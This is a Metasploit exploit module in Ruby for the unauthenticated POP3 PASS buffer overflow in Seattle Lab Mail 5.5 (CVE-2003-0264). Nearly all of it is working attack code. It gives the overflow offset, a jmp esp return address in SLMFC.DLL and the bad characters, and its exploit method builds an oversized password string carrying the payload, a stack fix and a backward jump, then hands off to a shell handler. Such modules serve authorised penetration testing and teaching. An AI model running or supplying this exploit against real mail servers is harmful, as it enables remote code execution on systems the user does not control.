Seattle Lab Mail 5.5 POP3 Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Seattle Lab Mail 5.5 POP3 Buffer Overflow',
        'Description' => %q{
          There exists an unauthenticated buffer overflow vulnerability
          in the POP3 server of Seattle Lab Mail 5.5 when sending a password
          with excessive length.

          Successful exploitation should not crash either the
          service or the server; however, after initial use the
          port cannot be reused for successive exploitation until
          the service has been restarted. Consider using a command
          execution payload following the bind shell to restart
          the service if you need to reuse the same port.

          The overflow appears to occur in the debugging/error reporting
          section of the slmail.exe executable, and there are multiple
          offsets that will lead to successful exploitation. This exploit
          uses 2606, the offset that creates the smallest overall payload.
          The other offset is 4654.

          The return address is overwritten with a "jmp esp" call from the
          application library SLMFC.DLL found in %SYSTEM%\system32\. This
          return address works against all version of Windows and service packs.

          The last modification date on the library is dated 06/02/99. Assuming
          that the code where the overflow occurs has not changed in some time,
          prior version of SLMail may also be vulnerable with this exploit. The
          author has not been able to acquire older versions of SLMail for
          testing purposes. Please let us know if you were able to get this
          exploit working against other SLMail versions.
        },
        'Author' => 'stinko',
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2003-0264'],
          ['OSVDB', '11975'],
          ['BID', '7519'],
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'Space' => 600,
          'BadChars' => "\x00\x0a\x0d\x20",
          'MinNops' => 100,
        },
        'Platform' => 'win',
        'Targets' => [
          ['Windows NT/2000/XP/2003 (SLMail 5.5)', { 'Ret' => 0x5f4a358f, 'Offset' => 2606 } ]
        ],
        'DisclosureDate' => '2003-05-07',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(110)
      ]
    )
  end

  def exploit
    connect

    print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")

    banner = sock.get_once || ''
    if banner !~ /^\+OK POP3 server (.*) ready/
      print_error("POP3 server does not appear to be running")
      return
    end

    sock.put("USER #{rand_text_alphanumeric(10)}\r\n")
    banner = sock.get_once
    if banner !~ /^\+OK (.*) welcome here/
      print_error("POP3 server rejected username")
      return
    end

    request = "PASS " + rand_text_alphanumeric(target['Offset'] - payload.encoded.length)
    request << payload.encoded
    request << [target.ret].pack('V')
    request << "\x81\xc4\xff\xef\xff\xff\x44" # fix the stack
    request << "\xe9\xcb\xfd\xff\xff"         # go back 560 bytes
    request << rand_text_alphanumeric(512) # cruft
    request << "\r\n"

    sock.put(request)

    handler
    disconnect
  end
end